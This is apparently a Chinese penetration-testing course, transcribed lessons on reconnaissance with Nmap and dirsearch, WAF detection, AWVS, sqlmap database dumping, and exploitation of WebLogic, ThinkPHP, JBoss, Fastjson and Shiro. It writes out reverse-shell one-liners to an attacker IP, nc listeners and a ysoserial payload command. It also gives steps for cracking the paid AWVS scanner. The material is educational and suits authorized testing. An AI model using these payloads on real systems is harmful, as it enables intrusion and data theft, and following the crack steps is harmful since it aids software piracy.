在找到真实IP之后，我们需要对IP的C段进行主机探测。什么是C段？它指的是同一网段内的IP地址群，例如 192.168.1.0 到 192.168.1.255 就属于一个C段。公网中，一个公司申请的IP地址通常是相邻的。探测C段可以帮助我们发现目标公司的其他网络资产。

以下是进行C段探测的工具：

  • 使用Nmap：Nmap是一款强大的网络扫描工具。可以使用 -sn 参数进行Ping扫描，探测存活主机。
    nmap -sn 192.168.1.0/24
  • 使用第三方工具：例如 CWebScanner，它专为Web资产发现设计，速度较快。可以通过GitHub克隆项目并使用Python运行。
    git clone https://github.com/xxx/CWebScanner.git
cd CWebScanner
python cwebscan.py -d example.com -p 80,443

端口信息收集

端口是网络通信的入口。在渗透测试中，了解目标开放了哪些端口，以及这些端口对应的服务，是“踩点”的关键步骤。服务器可以比作房子，端口就是进入房子的门。我们需要知道有几扇门，门后是什么。

端口根据号范围可分为三类：

  • 周知端口 (0-1023)：如 80 (HTTP)、443 (HTTPS)、21 (FTP)、22 (SSH)。
  • 注册端口 (1024-49151)：分配给用户进程或应用程序。
  • 动态/私有端口 (49152-65535)：一般不固定分配。

我们需要重点关注那些常存在漏洞的周知端口。以下是一些关键端口及其常见安全隐患：

  • 21 (FTP)：文件传输协议。可能存在爆破、匿名访问、特定软件（如vsftpd）后门等漏洞。
  • 22 (SSH)：安全外壳协议。可能存在弱口令、用户枚举等漏洞。
  • 23 (Telnet)：远程登录协议，明文传输，易被嗅探。
  • 25/465 (SMTP)：简单邮件传输协议。可用于发送钓鱼邮件。
  • 80/443 (HTTP/HTTPS)：Web服务。存在大量Web应用漏洞（如SQL注入、XSS）及中间件漏洞（如Apache、Nginx）。
  • 139/445 (SMB)：Windows文件共享服务。著名漏洞有MS17-010（永恒之蓝）、MS08-067等。
  • 3306 (MySQL)：数据库服务。可能存在弱口令、权限提升漏洞。
  • 3389 (RDP)：Windows远程桌面。可进行爆破攻击，或利用相关漏洞（如“蓝色脉冲”）获取控制权。
  • 6379 (Redis)：内存数据库。常存在未授权访问漏洞，可通过SSRF攻击利用。
  • 7001/8080 (WebLogic/Tomcat)：Java应用服务器。常存在反序列化、任意文件上传等严重漏洞。

使用Nmap进行端口扫描

Nmap是端口扫描的“神器”。它功能强大，可用于主机发现、端口扫描、服务版本探测、操作系统识别甚至漏洞检测。

Nmap扫描端口后，常见的状态有：

  • open：端口开放，有程序监听。
  • closed：端口关闭。
  • filtered：端口被防火墙或IDS过滤，无法确定状态。

以下是Nmap的一些基础用法：

  • 全面扫描：nmap -A -T4 target_ip （-A 启用全面扫描，-T4 指定扫描速度）。
  • SYN半开扫描：nmap -sS -Pn target_ip （-sS 发送SYN包，不完成TCP握手，隐蔽且高效；-Pn 跳过主机发现，直接扫描端口）。
  • 指定端口扫描：nmap -p 80,443,8080 target_ip。
  • 全端口扫描：nmap -p- target_ip （扫描1-65535所有端口，速度较慢）。
  • 扫描C段存活主机：nmap -sn 192.168.1.0/24。
  • 导出结果：nmap -oN result.txt target_ip （将结果保存到 result.txt）。

Nmap还内置了大量脚本（位于 /usr/share/nmap/scripts/），可用于漏洞检测。例如，扫描MS17-010漏洞：

nmap -p 445 --script smb-vuln-ms17-010 192.168.1.0/24

其他信息收集与社会工程学

除了技术层面的信息收集，还有其他辅助手段。

  • 历史漏洞信息查询：在攻击特定CMS、框架或中间件时，需要查找其已知漏洞。可以利用以下平台：
    • 乌云镜像、乌云知识库（虽然已关闭，但有镜像站）。
    • Exploit-DB (exploit-db.com)：国外的漏洞和利用代码库。
    • CNVD、CNNVD：国家信息安全漏洞共享平台。
  • 社会工程学：这是一种利用人性弱点（如信任、好奇、贪婪）获取信息的手段。在渗透测试中可能用于：
    • 钓鱼邮件：伪造高管或系统通知，诱骗管理员点击链接或提供密码。
    • 钓鱼网站：克隆目标登录页面，诱使用户输入账号密码。
    • 信息刺探：通过公开渠道（社交媒体、公司网站）搜集管理员姓名、邮箱、电话等信息，用于定制化攻击。

请注意：社会工程学攻击在法律和道德上存在灰色地带，在未获得明确授权的情况下严禁对真实目标使用。挖SRC（安全应急响应中心）时也禁止使用社工手段。

总结与作业

本节课中我们一起学习了渗透测试中IP与端口信息收集的核心知识。我们了解了IP反查域名、绕过CDN获取真实IP、进行C段探测的方法。深入学习了常见端口及其关联的安全风险，并掌握了使用Nmap进行端口扫描的基本技巧。最后，我们简要了解了历史漏洞查询与社会工程学的概念。

以下是本节课的作业：

  1. 使用Nmap或CWebScanner对 hetianlab.com 进行C段扫描，并扫描该网站开放的端口。
  2. 尝试性作业：自行搭建一个存在已知漏洞的旧版操作系统虚拟机（如Windows XP或Windows Server 2003）。使用Nmap对其进行端口扫描，并尝试利用公开的漏洞利用代码（Exp）或Metasploit框架获取该虚拟机的控制权。此作业旨在练习漏洞搜索与利用的基本流程。

请大家按时完成作业。如果在环境搭建或工具使用中遇到问题，可以在群内提问或联系助教。

课程P43：第4天：网站信息收集 🔍

在本节课中，我们将学习网络安全渗透测试中至关重要的一步——网站信息收集。我们将了解如何识别网站的“指纹”，探测敏感文件和目录，以及识别网站的防护措施（WAF）。掌握这些技能，能帮助我们更高效、更精准地发现潜在的安全漏洞。

网站指纹识别 🧬

上一节我们介绍了信息收集的整体框架，本节中我们来看看如何识别一个网站的“指纹”。网站的“指纹”是指其构成组件的信息，主要包括服务器操作系统、Web中间件、脚本语言和数据库。了解这些信息是后续渗透测试的基础。

一个网站最基本的组成包括：

  • 服务器（操作系统）：通常是 Linux 或 Windows Server。
  • 中间件（Web容器）：例如 Apache、Tomcat、Nginx。
  • 脚本语言：例如 PHP、JSP、ASP、.NET、Python 的 Django 或 Flask。
  • 数据库：例如 MySQL、SQL Server、Oracle、Access。

操作系统识别

以下是判断网站服务器操作系统的三种常用方法：

  1. Ping命令TTL值判断：通过 ping 目标IP，观察返回的TTL值。Windows系统的TTL值通常为128，Linux系统通常为64。公式可概括为：TTL > 100 一般为Windows，TTL < 100 一般为Linux。

    ping 目标IP

  2. Nmap扫描识别：使用Nmap的 -O 参数进行操作系统识别。

    nmap -O 目标IP

  3. URL大小写敏感性测试：Windows服务器对URL路径大小写不敏感，而Linux服务器敏感。例如，在Windows服务器上访问 http://目标/DVWA 和 http://目标/dvwa 效果相同；在Linux服务器上，则可能因大小写错误而无法访问。

中间件、脚本语言与数据库识别

识别网站的中间件、脚本语言和数据库类型，有助于我们寻找针对性的漏洞。

  1. 浏览器开发者工具（F12）：打开浏览器开发者工具的“网络(Network)”标签页，刷新页面，查看HTTP响应头中的 Server 字段，通常包含中间件信息（如 Server: nginx）。

  2. 浏览器插件：使用如 Wappalyzer 这类浏览器插件，可以快速分析网站使用的技术栈，包括中间件、前端框架、脚本语言等。

  3. URL后缀与经验判断：观察网页URL的后缀名，例如 .php 通常代表PHP，.jsp 或 .do 通常代表Java，.aspx 代表ASP.NET。

  4. 在线工具与Nmap脚本：可以利用在线指纹识别平台或Nmap的脚本引擎进行更全面的探测。

常见CMS识别

CMS（内容管理系统）如 WordPress、Discuz!、织梦(DedeCMS)、PHPCMS 等，通常有公开的漏洞。识别CMS有助于快速定位可利用的历史漏洞。

识别方法包括：

  • 查看网站页脚/Banner：许多CMS会在页面底部显示版权信息，如 Powered by Discuz!。
  • 使用在线识别工具：输入URL，让工具自动分析。
  • 搜索漏洞库：在 exploit-db、seebug 等漏洞平台搜索已知CMS的漏洞和利用方法。

敏感文件及目录探测 📂

在了解了网站的基本构成后，我们需要探测网站是否存在敏感文件或目录泄露。这些泄露可能源于管理员配置疏忽，是获取关键信息（如源代码、配置文件、备份文件）的重要途径。

以下是常见的敏感文件或目录类型：

  • .git、.svn 泄露：版本控制系统文件泄露，可能导致整个网站源代码被下载。
  • .DS_Store 泄露：Mac OS系统目录文件，可能泄露目录结构。
  • WEB-INF 泄露：Java Web应用的安全目录，若配置不当可能泄露源代码。
  • 网站备份文件：如 www.rar、web.zip、database.sql 等，可能包含源代码或数据库信息。

探测工具与方法

探测这些敏感信息通常需要使用专门的工具进行扫描。

以下是几种常用的目录和文件扫描工具：

  1. 御剑：经典的图形化目录扫描工具，支持多种脚本类型字典，易于上手。
  2. dirsearch：基于Python的命令行目录扫描工具，速度快，可定制性强。
    python3 dirsearch.py -u http://目标网址 -e php,html,zip
  3. dirmap：另一款高效的Python目录扫描工具，支持并发扫描。
    python3 dirmap.py -i http://目标网址 -lcf

针对特定漏洞的信息泄露：某些框架存在固有的信息泄露漏洞。例如，Spring Boot框架的 /env 端点未授权访问，可能泄露数据库密码等敏感配置信息。发现这类漏洞通常也需要通过目录探测来寻找特定路径。

网站WAF识别 🛡️

在尝试渗透之前，识别目标网站是否部署了WAF（Web应用防火墙）至关重要。WAF会拦截常见的攻击流量，盲目测试可能导致IP被封锁。

WAF主要用于：

  • 防御常见Web攻击（如SQL注入、XSS）。
  • 防止自动化攻击（如暴力破解、漏洞扫描）。
  • 阻止恶意爬虫等。

WAF识别方法

识别WAF可以帮助我们选择针对性的绕过技术。

  1. 手动测试：提交简单的测试Payload（如 ' and '1'='1），观察返回页面是否包含 安全狗、云锁、阿里云盾 等WAF拦截提示。
  2. 工具识别：使用 wafw00f 工具可以自动化识别WAF。
    # 安装
git clone https://github.com/EnableSecurity/wafw00f.git
cd wafw00f
python setup.py install
# 使用
wafw00f http://目标网址
  3. Nmap脚本：Nmap也提供了一些用于识别WAF的脚本，但识别能力相对一般。

识别出WAF后，可以搜索该WAF的已知绕过方法，例如使用特殊字符、注释、编码等方式尝试绕过防护规则。

总结与作业 📝

本节课中我们一起学习了网站信息收集的三个核心部分：网站指纹识别、敏感文件及目录探测以及网站WAF识别。这些是渗透测试前期最关键的信息梳理工作，能为后续的漏洞挖掘和利用提供明确的方向。

课后作业：

  1. 实验练习：在和天实验室平台完成《Nmap网络扫描》与《Web敏感信息泄露（Git/SVN）》相关实验。
  2. 实战尝试：选择一个公益SRC平台（如补天、漏洞盒子）上的一个目标，尝试进行完整的网站信息收集，并记录收集到的信息及过程。

通过理论与实践的结合，你将能熟练掌握网站信息收集的技能，为成为一名合格的网络安全工程师打下坚实基础。祝大家学习顺利！

课程P44：第5天：WEB漏洞扫描器-AWVS及nmap 🛡️

在本节课中，我们将要学习两款重要的网络安全工具：AWVS和nmap。我们将首先了解什么是漏洞扫描器，然后详细介绍AWVS的安装、破解及核心功能。接着，我们会学习nmap的基本概念和使用方法。课程内容力求简单直白，适合初学者理解。

第一部分：漏洞扫描器及AWVS介绍 🔍

上一节我们介绍了信息收集，本节中我们来看看如何利用工具发现漏洞。漏洞扫描是一种基于漏洞数据库，通过扫描等手段，对指定的远程或本地计算机系统的安全性进行检测的行为。也就是说，我们通过扫描手段，对上一节课收集到的子域名进行安全脆弱性检测，以发现可利用的漏洞。

以下是常见的漏洞扫描工具分类：

  • 针对某类漏洞的工具：例如，针对SQL注入的sqlmap工具，可以检测网站是否存在SQL注入漏洞。针对Weblogic的WeblogicScan工具，内置了多种漏洞检测脚本。
  • 针对系统应用层的工具：例如Nessus，常用于扫描系统漏洞。
  • 针对某类框架的检测工具：例如针对Struts2框架的漏洞检查工具。
  • 针对Web服务的综合工具：例如Burp Suite（不仅是抓包工具，也可用于漏洞扫描）、长亭科技的Xray等。

AWVS（Acunetix Web Vulnerability Scanner）是一款知名的网络漏洞扫描工具。它可以通过网络爬虫测试网站安全，检测流行的安全漏洞，如SQL注入、XSS等。在11.x版本之前是客户端工具，11.x之后改为通过浏览器访问的Web形式。

AWVS的功能特点包括：

  • Web扫描：核心功能，对Web安全漏洞进行扫描。
  • 爬虫：爬取网站目录结构。
  • 端口扫描：扫描Web服务器端口。
  • 子域名扫描：利用DNS查询发现子域名。
  • SQL注入工具：发现SQL注入漏洞。
  • HTTP请求编辑与重放。
  • 模糊测试工具（Fuzzer）。
  • Web认证破解工具。

第二部分：AWVS的安装与破解 💻

上一节我们介绍了AWVS是什么，本节中我们来看看如何安装和破解它。AWVS是收费软件，因此我们需要使用破解版。

安装过程与常规软件类似。关键步骤包括设置登录邮箱、密码以及Web访问端口。安装时可以选择是否允许远程访问。

破解步骤如下：

  1. 下载安装包和破解包。
  2. 将破解包（通常为两个文件）复制到AWVS的安装目录（默认路径通常为 C:\Program Files (x86)\Acunetix\ 下的相关文件夹）。
  3. 以管理员身份运行破解程序，并按提示随意填写姓名、公司等信息即可完成激活。
  4. 验证激活：登录AWVS后，点击右上角Administrator -> License，查看许可证到期时间（如显示为2118年），即可确认激活成功。

第三部分：AWVS功能介绍与应用 🚀

上一节我们完成了AWVS的安装，本节中我们来看看它的主要功能界面和使用方法。

AWVS的Web界面主要分为以下几个模块：

  1. 仪表盘 (Dashboard)：展示漏洞数量分布、扫描任务进度、存在漏洞的目标站点排名等信息。
  2. 目标 (Targets)：管理待扫描的网站目标。可以添加、删除、扫描目标，也可以将目标分组或导出报告。
  3. 漏洞 (Vulnerabilities)：列出所有扫描到的漏洞详情，包括请求包、响应包和修复建议。
  4. 扫描 (Scans)：管理扫描任务，可以新建、停止、删除扫描，比较两次扫描结果，或导出报告。
  5. 报告 (Reports)：存放所有已导出的扫描报告，支持下载为PDF或HTML格式。
  6. 设置 (Settings)：进行各项系统设置。

新建扫描任务：

  1. 在Targets页面点击Add Target。
  2. 输入目标地址（URL或IP）和描述。
  3. 设置扫描优先级和速度。
  4. 对于需要登录的网站，可以配置登录凭证。
  5. 保存后，点击Scan按钮。
  6. 选择扫描类型（如全面扫描、仅高危漏洞等）、报告格式和扫描计划（立即、定时或循环）。
  7. 点击Start Scan开始扫描。

批量扫描：
当目标数量很多时，可以使用批量导入功能。

  1. 准备一个CSV文件，每行格式为：目标地址,描述（例如：http://example.com,示例网站）。
  2. 在Targets页面点击Import CSV，选择文件导入即可。

第四部分：SQL注入原理与sqlmap介绍 🗃️

上一节我们介绍了AWVS的使用，本节中我们来看看另一种常见的攻击方式——SQL注入，以及自动化工具sqlmap。

SQL注入漏洞是将SQL语句插入到用户输入参数中，并传递到后台SQL服务器加以解析执行的攻击方式。其产生原因是程序没有对用户输入进行严格的过滤。

判断方法：通常通过输入单引号‘来测试。如果页面返回错误，或与正常输入、输入两个单引号‘’的返回结果不同，则可能存在SQL注入漏洞。

  • 数字型注入：SQL语句类似 SELECT * FROM users WHERE id=1
  • 字符型注入：SQL语句类似 SELECT * FROM users WHERE name=‘admin’
  • 闭合与注释：通过添加‘、‘’或使用注释符--、#来尝试闭合SQL语句，使其正常执行。

sqlmap是一款开源的渗透测试工具，用于自动化检测和利用SQL注入漏洞，从而获取数据库服务器权限。它由Python语言编写。

第五部分：sqlmap的安装与使用 ⚙️

上一节我们了解了SQL注入原理，本节中我们来看看sqlmap的安装和基本用法。

sqlmap无需安装，只需配置好Python环境（建议Python 2.7），下载解压即可使用。为了方便，可以创建桌面快捷方式，将命令行的起始位置设置为sqlmap的目录。

基本用法：

  • python sqlmap.py -h：查看基本帮助。
  • python sqlmap.py -hh：查看详细帮助。
  • python sqlmap.py --version：查看版本。

漏洞检测：

  • python sqlmap.py -u “http://target.com/page?id=1“：检测指定URL是否存在注入。
  • python sqlmap.py -m urls.txt：批量检测urls.txt文件中的多个URL。

信息枚举与利用（注意：仅限授权测试环境！）：
检测到注入点后，可以进一步获取信息：

  1. 枚举数据库：python sqlmap.py -u “URL” --dbs
  2. 获取当前数据库：python sqlmap.py -u “URL” --current-db
  3. 枚举指定数据库的表：python sqlmap.py -u “URL” -D 数据库名 --tables
  4. 枚举指定表的列：python sqlmap.py -u “URL” -D 数据库名 -T 表名 --columns
  5. 导出表数据（拖库）：python sqlmap.py -u “URL” -D 数据库名 -T 表名 -C “列名1，列名2” --dump
    警告：--dump操作会导出真实数据，在未授权情况下使用属违法行为，务必谨慎！

常用参数：

  • --level：测试等级（1-5），等级越高测试越全面（如包含Cookie、HTTP头注入测试）。
  • --risk：风险等级（1-3），等级越高测试语句可能对数据造成的影响越大。

本节课总结：
在本节课中，我们一起学习了网络安全中两个重要环节的工具使用。首先，我们掌握了Web漏洞扫描器AWVS的安装、破解和基本操作，了解了如何用它来发现网站的安全漏洞。接着，我们学习了SQL注入的基本原理，并掌握了利用sqlmap工具进行自动化SQL注入检测和信息枚举的方法。请记住，所有技术都应在合法授权的范围内使用，用于提升系统和网络的安全性。

网络安全实战教程：P45 - 第7天：Weblogic、ThinkPHP、JBoss、Struts2历史漏洞讲解 🔍

在本节课中，我们将学习如何利用工具进行SQL注入的深入利用，并重点讲解Weblogic和ThinkPHP框架的历史漏洞原理、识别方法及利用过程。课程内容注重实战，旨在帮助初学者理解常见漏洞的挖掘思路。

SQL注入的深入利用：枚举与拖库

上一节我们介绍了使用SQLMap进行基本的SQL注入检测。本节中我们来看看如何利用已发现的注入点，进一步枚举数据库结构并获取数据。

当我们成功枚举出数据库中的表名（例如 user）后，下一步是枚举该表的列名。

以下是枚举指定表（例如 user）列名的命令：

sqlmap.py -u "目标URL" --columns -T user

执行该命令后，可能会枚举出 id、username、password 等列。

获取到列名之后，可以进行拖库操作，即导出表中的具体数据。

以下是拖取指定表（例如 user）中数据的命令：

sqlmap.py -u "目标URL" --dump -T user -C id,username,password

此命令会将 user 表中 id、username、password 列的数据导出并保存到本地CSV文件中。

重要提示：拖库操作（--dump）会直接获取数据库中的敏感信息。在漏洞挖掘（如SRC众测）时，仅用于证明漏洞存在即可，切勿实际拖取数据，以免触犯法律。仅在获得明确授权的渗透测试项目中，方可谨慎使用此功能。

绕过WAF：使用Tamper脚本

在实际测试中，网站可能部署了WAF（Web应用防火墙）来过滤恶意SQL语句。SQLMap的 --tamper 参数可以帮助我们绕过这些过滤。

Tamper脚本的原理是对注入载荷进行变形，例如：

  • 在关键词中插入注释符：SELECT -> SEL/**/ECT
  • 在关键词中添加百分号：SELECT -> S%E%L%E%C%T
  • 对关键词进行随机大小写转换：SELECT -> SeLeCt

以下是使用Tamper脚本的命令示例：

sqlmap.py -u "目标URL" --tamper=脚本名称.py

例如，使用 randomcase.py 脚本可以随机转换载荷的大小写，以绕过一些简单的关键词过滤。

Weblogic漏洞讲解

上一部分我们结束了SQL注入工具的学习。本节中我们来看看一个常见的中间件漏洞——Weblogic。

Weblogic简介与特征

Weblogic是美国Oracle公司出品的一款基于JavaEE的应用服务器（中间件）。它广泛用于运行Java Web应用程序。

识别Weblogic通常有两个特征：

  1. 默认端口：7001
  2. Web界面特征：访问其Web根目录通常会返回一个特定的404错误页面。

Weblogic漏洞利用

Weblogic历史上存在大量高危漏洞，例如 CVE-2019-2729、CVE-2020-2551 等。

以下是利用网络空间搜索引擎（如FOFA）寻找Weblogic资产的方法：
搜索语法：app="Weblogic" 或 port="7001"

发现资产后，可以使用自动化脚本批量检测已知漏洞。例如，使用集成多个PoC的扫描脚本：

python3 weblogic_scanner.py -f target_urls.txt

脚本会批量测试目标是否存在已知的Weblogic漏洞，并输出结果。

对于发现的漏洞，需要进一步利用。以 CVE-2019-2725 为例，可以通过搜索引擎找到公开的漏洞利用脚本（Exp）。利用过程通常涉及向特定漏洞路径发送构造好的HTTP请求，从而执行系统命令。
例如，通过Exp执行 id 命令可以验证漏洞利用是否成功。

ThinkPHP漏洞讲解

接下来，我们学习另一个常见的国产开发框架——ThinkPHP的漏洞。

ThinkPHP简介与特征

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架。许多内容管理系统（CMS）如 ThinkCMF、5Ucms 都是基于其二次开发。

识别ThinkPHP的特征包括：

  • 其默认的报错页面会明确显示“ThinkPHP”框架信息。
  • 某些版本在开启调试模式时，访问特定路径会暴露框架信息。

ThinkPHP漏洞利用

ThinkPHP 5.x 版本曾曝出多个远程代码执行漏洞，例如 5.0.23 和 5.1.x 版本的相关漏洞。

ThinkPHP 5.0.23 远程代码执行漏洞
漏洞利用步骤：

  1. 捕获访问网站首页的GET请求包。
  2. 将请求方法改为 POST。
  3. 在POST参数中插入Payload，例如执行 id 命令的代码。
  4. 发送请求，如果响应中返回了命令执行结果（如用户id信息），则漏洞利用成功。

批量检测与利用
对于未知版本的ThinkPHP站点，可以使用专门的扫描脚本进行批量漏洞检测：

python3 thinkphp_scan.py -u http://target.com

脚本会自动测试多个已知的ThinkPHP漏洞PoC，并返回可用的利用方式。

课程总结

本节课中我们一起学习了以下内容：

  1. SQLMap高级利用：学习了如何枚举表结构、进行拖库操作，以及使用Tamper脚本绕过WAF过滤。
  2. Weblogic漏洞：了解了Weblogic中间件的识别特征，学习了如何寻找资产、使用工具批量扫描漏洞，并对具体漏洞（如CVE-2019-2725）进行了利用演示。
  3. ThinkPHP漏洞：掌握了ThinkPHP框架的识别方法，并动手实践了其历史远程代码执行漏洞的利用过程。

通过本课的学习，你应该对这两类常见组件的漏洞挖掘流程有了基本的认识。在实际安全测试中，需要结合信息收集、工具扫描和手动验证，才能有效地发现和利用安全漏洞。请务必在合法授权的范围内进行所有测试。

课程P46：第9天：Java反序列化之Fastjson与Shiro漏洞利用 🔐

在本节课中，我们将学习Java反序列化漏洞中的两个重要案例：Fastjson和Apache Shiro。我们将从漏洞原理、识别方法、检测手段到最终的利用方式，进行系统性的讲解。课程内容力求简单直白，让初学者能够理解并掌握核心概念。

第一部分：利用JBoss反序列化漏洞进行反弹Shell

上一节我们介绍了如何利用反序列化漏洞执行命令。本节中，我们来看看如何将命令执行升级为反弹Shell，从而获得一个交互式的命令行控制权。

反弹Shell原理与步骤

反弹Shell是指让目标服务器主动连接攻击者控制的机器，并提供一个Shell会话。以下是实现步骤：

1. 在公网服务器上监听端口

首先，需要在攻击者拥有的一台公网IP服务器上，使用netcat（nc）工具监听一个端口，等待目标服务器的连接。

  • Linux系统命令示例：
    nc -lvp 1234
  • 参数解释：
    • -l: 指定nc处于监听模式，作为服务端。
    • -v: 输出详细交互信息。
    • -p 1234: 指定监听的端口号为1234。

2. 在目标服务器上执行反弹Shell命令

接着，需要利用已存在的漏洞（如JBoss反序列化漏洞），在目标服务器上执行一条特殊的命令。这条命令会让目标服务器连接到我们监听的端口。

  • 常用的反弹Shell命令：
    bash -i >& /dev/tcp/[攻击者公网IP]/[监听端口] 0>&1
  • 命令解释：
    • bash -i: 产生一个交互式的Shell。
    • >& /dev/tcp/[IP]/[端口]: 在Linux中，/dev/tcp/[IP]/[端口]是一个特殊的设备文件，打开它相当于发起一个socket连接。>&将标准输出和标准错误都重定向到这个连接。
    • 0>&1: 将标准输入也重定向到该连接，从而实现完全的交互。

3. 接收Shell并执行命令

当目标服务器执行了上述命令后，它就会连接到攻击者服务器的1234端口。此时，在攻击者的nc监听窗口，就会获得目标服务器的一个Shell权限，可以执行任意系统命令，例如id或whoami。

通过以上步骤，我们便成功利用了反序列化漏洞获取了目标服务器的控制权。

第二部分：JBoss漏洞识别与利用

上一节我们完成了反弹Shell的实践。本节中，我们来系统了解JBoss应用服务器及其历史漏洞，并学习如何识别和利用它。

JBoss简介与历史漏洞

JBoss是一个基于J2EE的开源应用服务器，常用于管理EJB容器。它通常与Tomcat或Jetty绑定使用以支持Web服务。历史上，JBoss出现过多个严重漏洞：

以下是部分高危漏洞列表：

  • 访问控制不严漏洞：例如JMX Console未授权访问导致GetShell。
  • 弱口令与默认配置：管理控制台使用默认或弱口令。
  • 反序列化漏洞：例如CVE-2017-12149和CVE-2017-7504，可直接导致远程代码执行。

如何识别JBoss服务

识别一个网站是否使用了JBoss，可以通过以下方法：

  1. 默认端口与页面：JBoss默认开放8080端口（HTTP协议）。访问http://目标IP:8080/，其默认页面通常包含“JBoss”相关标识。
  2. 特征图标：JBoss的Web管理界面有特定的图标和样式。
  3. 使用搜索引擎：使用fofa、shodan等网络空间搜索引擎，搜索title=“JBoss”或port=“8080” && body=“jboss”等特征，可以批量发现目标。

漏洞检测与利用工具

对于CVE-2017-12149这类反序列化漏洞，可以使用自动化脚本进行批量检测和利用。

1. 批量检测脚本

使用Python脚本，将目标IP和端口列表放入target.txt文件，运行脚本即可检测多个漏洞。

python3 jboss_scan.py

脚本会检测目标是否存在JMX Console未授权、CVE-2017-7504、CVE-2017-12149等漏洞。

2. 手工验证与利用

对于单个目标，可以尝试访问特定路径来验证漏洞，例如访问/invoker/readonly，如果返回500状态码，则可能存在漏洞。

利用过程通常借助公开的漏洞利用脚本（Exp）。操作流程如下：

  • 在攻击机监听端口：nc -lvp 1234
  • 运行利用脚本，指定目标URL、攻击机IP和监听端口。
  • 脚本会向目标发送恶意序列化数据，成功后将Shell反弹到攻击机。

注意：实际演练中，目标服务可能因攻击而崩溃或不稳定，需根据实际情况调整。

第三部分：Fastjson反序列化漏洞

上一节我们探讨了JBoss的漏洞。本节中，我们转向另一个广泛使用的Java组件——Fastjson，并学习其反序列化漏洞的发现与初步检测。

Fastjson简介与漏洞原理

Fastjson是阿里巴巴开源的一款高性能JSON解析器。其反序列化漏洞在近年来备受关注，特别是1.2.24和1.2.47等版本。

漏洞核心原理：
Fastjson在解析JSON字符串时，支持通过@type属性指定要反序列化的类。攻击者可以构造恶意的JSON字符串，利用这个特性让服务端实例化并执行恶意类中的方法（如setter、getter或构造函数），从而实现远程代码执行。

  • 1.2.24及以前版本：直接利用@type指定恶意类即可。
  • 1.2.24至1.2.47之间版本：增加了反序列化黑名单，但存在绕过方法。

Fastjson漏洞的识别与发现

由于Fastjson用于处理JSON数据，因此识别它的关键在于找到使用JSON进行通信的接口。

识别特征：

  1. HTTP请求头：观察请求的Content-Type字段。如果其值为application/json，则该接口很可能使用了Fastjson或其他JSON库。
    Content-Type: application/json
  2. 请求体格式：请求体（Body）的数据格式为标准的JSON对象。

漏洞检测方法（无回显检测）：
由于漏洞执行命令可能没有直接回显，通常借助DNSLog平台进行检测。

  1. 从DNSLog平台（如dnslog.cn）获取一个临时子域名。
  2. 构造一个特殊的JSON格式的POC（漏洞验证代码），其中包含向该子域名发起DNS查询的命令。
  3. 将POC作为数据包发送到疑似存在漏洞的接口。
  4. 查看DNSLog平台是否有该子域名的解析记录。如果有，则证明目标存在Fastjson反序列化漏洞，并且能够执行系统命令。

提示：具体的漏洞利用（GetShell）方法涉及更复杂的链构造，将在后续课程中详细讲解。

第四部分：Apache Shiro反序列化漏洞

上一节我们介绍了Fastjson的漏洞检测。本节中，我们学习另一个重要的安全框架——Apache Shiro的反序列化漏洞，这是近年来另一个非常热门的漏洞类型。

Shiro简介与相关漏洞

Apache Shiro是一个强大且易用的Java安全框架，提供认证、授权、加密和会话管理等功能。其历史上最著名的两个反序列化漏洞是：

  1. Shiro-550 (CVE-2016-4437)：
    • 原因：Shiro提供了“记住我”（Remember Me）功能。用户登录后，服务端会生成一个加密的Cookie。攻击者可以利用已知的AES加密密钥，伪造恶意的Remember Me Cookie，触发Java反序列化漏洞。
  2. Shiro-721 (CVE-2019-12422)：
    • 原因：同样是Remember Me功能，但采用了AES-CBC加密模式。攻击者可以通过Padding Oracle攻击方式，逐步破解出加密密钥，进而伪造恶意Cookie。

如何识别使用了Shiro的网站

  1. 网站功能：登录页面存在 “记住我” （Remember Me）复选框。
  2. 抓包分析：
    • 正常登录后，查看服务器返回的Set-Cookie响应头，如果存在rememberMe=deleteMe字段，则很可能使用了Shiro。
    • 或者，在请求的Cookie中手动添加rememberMe=1，如果响应包中也返回了rememberMe=deleteMe，则基本可以确认。

Shiro漏洞的检测（以Shiro-550为例）

由于漏洞执行无回显，检测同样依赖DNSLog等外带平台。

1. 使用图形化工具检测

  • 工具如ShiroExploit，界面简单。输入目标URL和从DNSLog平台获取的子域名，点击检测。
  • 如果DNSLog平台收到解析请求，则说明目标可能存在Shiro反序列化漏洞。

2. 使用Python脚本检测

  • 运行脚本，指定目标URL和一条用于检测的命令（如ping dnslog子域名）。
  • 同样通过观察DNSLog是否有记录来判断漏洞是否存在。

Shiro漏洞的利用（获取Shell）

在确认漏洞存在后，可以进行深度利用以获取目标服务器的Shell。

1. 使用集成化工具一键利用
一些高级工具（如某些GUI攻击框架）集成了漏洞利用模块。只需输入目标URL、攻击者接收Shell的IP和端口，工具会自动完成序列化Payload生成、Cookie伪造和发送，最终将Shell反弹到指定端口。

2. 手工利用流程
手工利用更能理解原理，主要步骤为：

  • 监听端口：攻击机使用nc -lvp [端口]监听。
  • 生成恶意Payload：使用ysoserial等工具生成包含反弹Shell命令的序列化数据，并启动一个JRMP监听服务。
 ```bash
 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash -c {echo,base64编码的反弹Shell命令}|{base64,-d}|{bash,-i}"
 ```
 > **注意**：反弹Shell命令需先进行Base64编码，因为Java运行时环境对管道符等支持不友好。
  • 生成恶意Cookie：使用专用Python脚本，向上面启动的JRMP服务（攻击机IP:1099）发起请求，生成加密后的恶意Remember Me Cookie值。
 ```bash
 python2 shiro_tool.py 攻击机IP:1099
 ```
  • 发送Cookie：在登录请求的Cookie字段中，替换rememberMe的值为上一步生成的恶意Cookie值，然后发送请求。
  • 接收Shell：如果一切正确，攻击机的NC监听端口会收到目标服务器反弹回来的Shell。

注意：手工利用步骤较多，任何环节出错（如IP端口错误、命令编码问题、工具版本不匹配）都可能导致失败，需要仔细排查。

课程总结 🎯

本节课中我们一起学习了Java反序列化漏洞中的两个核心案例：Fastjson和Apache Shiro。

  • 我们首先回顾了如何将JBoss的命令执行漏洞升级为反弹Shell，获得了对服务器的交互式控制权。
  • 接着，我们系统性地了解了JBoss的历史漏洞、识别方法以及利用工具。
  • 然后，我们深入探讨了Fastjson反序列化漏洞的原理，并学习了如何通过观察Content-Type和借助DNSLog平台来发现和初步验证这类漏洞。
  • 最后，我们重点讲解了Apache Shiro框架的Shiro-550/721漏洞。从识别网站是否使用Shiro，到使用工具或手工方式检测漏洞，再到最终通过伪造Remember Me Cookie实现反弹Shell的完整利用链，进行了详细的剖析。

